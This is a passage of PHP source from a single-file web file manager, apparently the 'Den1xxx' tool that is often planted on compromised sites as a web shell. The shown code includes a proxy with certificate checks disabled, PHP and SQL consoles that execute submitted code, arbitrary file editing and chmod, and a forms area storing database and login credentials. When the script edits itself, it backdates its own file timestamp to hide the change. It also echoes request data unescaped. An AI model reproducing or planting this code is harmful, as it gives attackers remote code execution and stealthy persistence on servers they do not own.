style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> 